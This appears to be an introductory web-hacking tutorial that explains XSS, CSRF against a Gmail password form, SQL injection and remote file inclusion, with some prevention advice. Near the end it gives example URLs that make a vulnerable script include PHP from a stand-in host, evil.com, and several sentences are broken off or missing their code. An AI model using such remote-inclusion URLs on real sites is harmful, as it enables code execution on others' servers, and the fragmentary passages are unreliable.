WEB APPLICATION HACKING
What is Web application vulnerability?
"No language can prevent insecure code, although there are language features which
could aid or hinder a security-conscious developer."
Web application vulnerability is a weakness on web based service.
Evolution of Web Hacking
Automated web vulnerability checking
Input validation attacks
Source code disclosure
Lame attacks (the client side XS? attacks)
Types of Web application vulnerability?
1. XSS (Cross Site Scripting)
2. SQL Injection
XSS is a type of computer security vulnerability typically found in web applications
which allow code injection by malicious web users into the web pages viewed by
Websites today are more complex than ever, containing a lot of dynamic content
making the experience for the user more enjoyable. Dynamic content is achieved
through the use of web applications which can deliver different output to a user
depending on their settings and needs. Dynamic websites suffer from a threat that
static websites don't, called "Cross Site Scripting" (or XSS dubbed by other security
professionals). Currently small informational tidbits about Cross Site Scripting holes
exist but none really explain them to an average person or administrator. This FAQ
was written to provide a better understanding of this emerging threat, and to give
guidance on detection and prevention.
Cross Site Scripting is a technique used to add script to a trusted site that will be executed
on other users browsers. A key element to XSS is that one user can submit data to a
website that will later be displayed for other users. It is nessesary that the bad guy NOT
mess up the HTML structure, otherwise the result will be web defacement rather then
attacking other users.
"What are the threats of Cross Site Scripting?"
vulnerable application to fool a user (Read below for further details) in order to gather
data from them. Everything from account hijacking, changing of user settings, cookie
theft/poisoning, or false advertising is possible. New malicious uses are being found
every day for XSS attacks. The post below by Brett Moore brings up a good point
with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user
simply reads a post on a message board.
Cross-Site Request Forgery, also known as one click attack or session riding and
abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites.
Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site
request forgery merely transmits unauthorized commands from a user the website trusts.
GMail is vulnerable to CSRF attacks in the “Change Password” functionality. The only
token for authenticate the user is a session cookie, and this cookie is sent automatically
by the browser in every request.
An attacker can create a page that includes requests to the “Change password”
functionality of GMail and modify the passwords of the users who, being authenticated,
visit the page of the attacker.
• Disable all scripting language support in your browser
• Be cautious when clicking links in anonymous e-mails and dubious web pages.
• Proxy servers can help filter out malicious scripting in HTML.
2.) SQL Injection
SQL injection is a type of security exploit in which the attacker injects Structured Query
Language (SQL) code through a web form input box, to gain access to resources, or make
changes to data.
• It is a technique of injecting SQL commands to exploit non-validated input
vulnerabilities in a web application database.
Categories of SQL injection attack
• Code Injection
• Function Call Injection
• Buffer Overflows
Preventing SQL Injection
• To protect against SQL injection, user input must not directly be embedded in
SQL statements. Instead, parameterized statements must be used (preferred), or
user input must be carefully escaped or filtered.
Remote file inclusion
• Remote File Inclusion attacks allow malicious users to run their own PHP
code on a vulnerable website. The attacker is allowed to include his own
(malicious) code in the space provided for PHP programs on a web page. For
instance, a piece of vulnerable PHP code would look like this:
One thing we need remember
www.site.com/run.php?file=www.evil.com/evil.php //will execute the php on EVIL site
www.site.com/run.php?file=www.evil.com/evil.txt //will execute the php on VICTIM's